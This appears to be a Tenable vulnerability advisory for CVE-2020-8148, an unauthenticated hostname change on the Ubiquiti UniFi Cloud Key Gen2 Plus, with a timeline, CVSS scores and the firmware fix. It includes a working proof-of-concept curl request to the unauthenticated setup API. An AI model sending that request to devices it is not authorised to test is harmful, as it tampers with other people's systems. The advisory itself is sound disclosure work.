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Ubiquiti Unifi Cloud Key Gen2 Plus Unauthenticated Hostname Modification

Medium

Synopsis

While investigating Ubiquiti Unifi Cloud Key Gen2 Plus, Tenable discovered a previously patched but undisclosed vulnerability. The vulnerability can be exploited by a remote, unauthenticated attacker to modify the Ubiquiti system's hostname.

Specifically the /api/ump/setup and /api/umc/setup API endpoints accept a "name" parameter that is used to update the device hostname. These endpoints do not require authentication.

Proof of Concept

Request:
curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.2:443/api/ump/setup -d '{"timezone":"US/Central", "country":826, "localUsername":"newuser", "localPassword":"newpass","localEmail":"[email protected]","name":"newname1"}'
Response:
{"services":[{"service":"host","status":200,"code":"SUCCESS"}]}

Solution

Upgrade to UniFi Cloud Key Firmware 1.1.10

Disclosure Timeline

04/06/2020 - Vulnerability discovered
04/06/2020 - Vendor released patch
04/09/2020 - Contacted vendor to ask if CVE has been assigned
04/09/2020 - Vendor confirms fix. A CVE will be assigned at a later date.
04/10/2020 - Vendor has disclosed. Links us to related reports/bulletins, and provides us with the CVE.

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Risk Information

CVE ID: CVE-2020-8148
Tenable Advisory ID: TRA-2020-21
Credit:
Katie Sexton
CVSSv2 Base / Temporal Score:
5.0 / 3.9
CVSSv2 Vector:
(AV:N/AC:L/Au:N/C:N/I:P/A:N)
Affected Products:
Ubiquiti Unifi Cloud Key Firmware 1.1.6 and prior
Risk Factor:
Medium

Advisory Timeline

04/09/2020 - Advisory published
04/10/2020 - Updated with info from Ubiquiti's security bulletin

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